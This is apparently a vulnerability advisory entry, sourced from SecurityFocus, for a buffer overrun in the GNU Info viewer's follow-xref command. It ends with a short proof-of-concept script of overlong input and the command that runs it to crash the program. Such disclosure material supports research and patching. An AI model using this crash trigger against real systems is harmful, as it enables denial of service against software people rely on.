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source: http://www.securityfocus.com/bid/10882/info
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GNU Info is reported prone to a buffer overrun vulnerability. The vulnerability is reported to present itself due to a lack of boundary checks performed on argument data for the (f) follow xref Info command.
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An attacker may exploit this vulnerability by crafting a malicious Info script that is sufficient to trigger the issue.
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Although this vulnerability is reported to affect info version 4.7-2.1, other versions might also be affected.
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The following can be saved to a file and called as:
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info info --restore=info.bug to create a segmentation fault.
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[START info.bug]
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gExpert Info
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fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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[END info.bug] |